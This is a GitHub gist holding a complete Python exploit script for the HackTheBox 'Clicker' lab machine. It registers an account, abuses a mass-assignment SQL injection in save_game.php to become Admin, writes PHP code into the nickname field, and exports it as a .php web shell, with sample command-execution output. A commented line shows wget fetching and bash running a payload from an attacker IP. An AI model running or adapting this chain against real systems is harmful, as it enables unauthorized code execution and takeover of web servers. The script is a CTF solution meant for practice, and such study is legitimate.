Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active April 20, 2024 14:21
Show Gist options
  • Save pich4ya/fb2db49a51fa058309d78e3ae02cf362 to your computer and use it in GitHub Desktop.
Save pich4ya/fb2db49a51fa058309d78e3ae02cf362 to your computer and use it in GitHub Desktop.
Exploit for HackTheBox Clicker Machine (https://app.hackthebox.com/machines/564)
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# Exploit for HackTheBox Clicker Machine (https://app.hackthebox.com/machines/564)
import requests
import random
import string
import urllib.parse
from base64 import b64encode,b64decode
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
payload = 'id'
# payload='/usr/bin/wget -O /tmp/x 10.10.14.34/A && bash /tmp/x'
cmd = b64encode(payload.encode())
cmd=urllib.parse.quote(cmd, safe="")
sqli_url=f"http://clicker.htb:80/save_game.php?role%3d'Admin',nickname%3d'<?%3dexec(base64_decode(\"{cmd}\"));?>',level=1337"
rand=''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
userz="pwn"+rand
# Step 1: Register a new account
burp0_url = "http://clicker.htb:80/create_player.php"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/register.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"username": userz, "password": userz}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies)
# Step 2: log in as a normal user
burp0_url = "http://clicker.htb:80/authenticate.php"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"username": userz, "password": userz}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies)
# Step 3: eop w/ Mass Assignment + SQLi Vuln
# File: save_game.php
# function save_profile($player, $args) {
# global $pdo;
# $params = ["player"=>$player];
# $setStr = "";
# foreach ($args as $key => $value) {
# $setStr .= $key . "=" . $pdo->quote($value) . ",";
# }
# $setStr = rtrim($setStr, ",");
# $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
# $stmt -> execute($params);
# }
burp0_url = "http://clicker.htb:80/save_game.php?role%3d'Admin',level=1337"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/play.php", "Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, proxies=proxies)
# Step 4: logout.php - logout (this is needed for refreshing session values)
burp0_url = "http://clicker.htb:80/logout.php"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/index.php", "Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
# Step 5: log in as an admin
burp0_url = "http://clicker.htb:80/authenticate.php"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/login.php", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"username": userz, "password": userz}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies)
# Step 6: SQLi to inject arbitrary PHP Code into nickname field
# Note: clicks, level are integer, so only nickname can store string
burp0_url = sqli_url
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/play.php", "Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, proxies=proxies)
# Step 7: Pop web shell with export function
# if ($_POST["extension"] == "txt") {
# [...]} else {
# [...]
# $s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
# [...]
# }
# $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
# file_put_contents($filename, $s);
burp0_url = "http://clicker.htb:80/export.php"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/admin.php?msg=Data%20has%20been%20saved%20in%20exports/top_players_8lfom2be.json", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"threshold": "1000000", "extension": "php"}
resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False, proxies=proxies)
# Step 8: Grab web shell location from HTTP response header
export_url=resp.headers.get('Location').split(' ')[5]
print(export_url)
# Step 9: Get PHP code execution result
burp0_url = f"http://clicker.htb:80/{export_url}"
burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/admin.php?msg=Data%20has%20been%20saved%20in%20exports/top_players_8lfom2be.json", "Upgrade-Insecure-Requests": "1"}
resp=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
print(resp)
# $ python exploit.py
# id
# exports/top_players_yy2kuwlc.php
# <table><thead> <tr> <th scope="col">Nickname</th> <th scope="col">Clicks</th> <th scope="col">Level</th> </tr></thead><tbody> <tr> <th scope="row">uid=33(www-data) gid=33(www-data) groups=33(www-data)</th> <td>0</td> <td>1337</td> </tr> <tr> <th scope="row">admin</th> <td>999999999999999999</td> <td>999999999</td> </tr> <tr> <th scope="row">ButtonLover99</th> <td>10000000</td> <td>100</td> </tr> <tr> <th scope="row">Paol</th> <td>2776354</td> <td>75</td> </tr> <tr> <th scope="row">Th3Br0</th> <td>87947322</td> <td>1</td> </tr></tbody></table>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment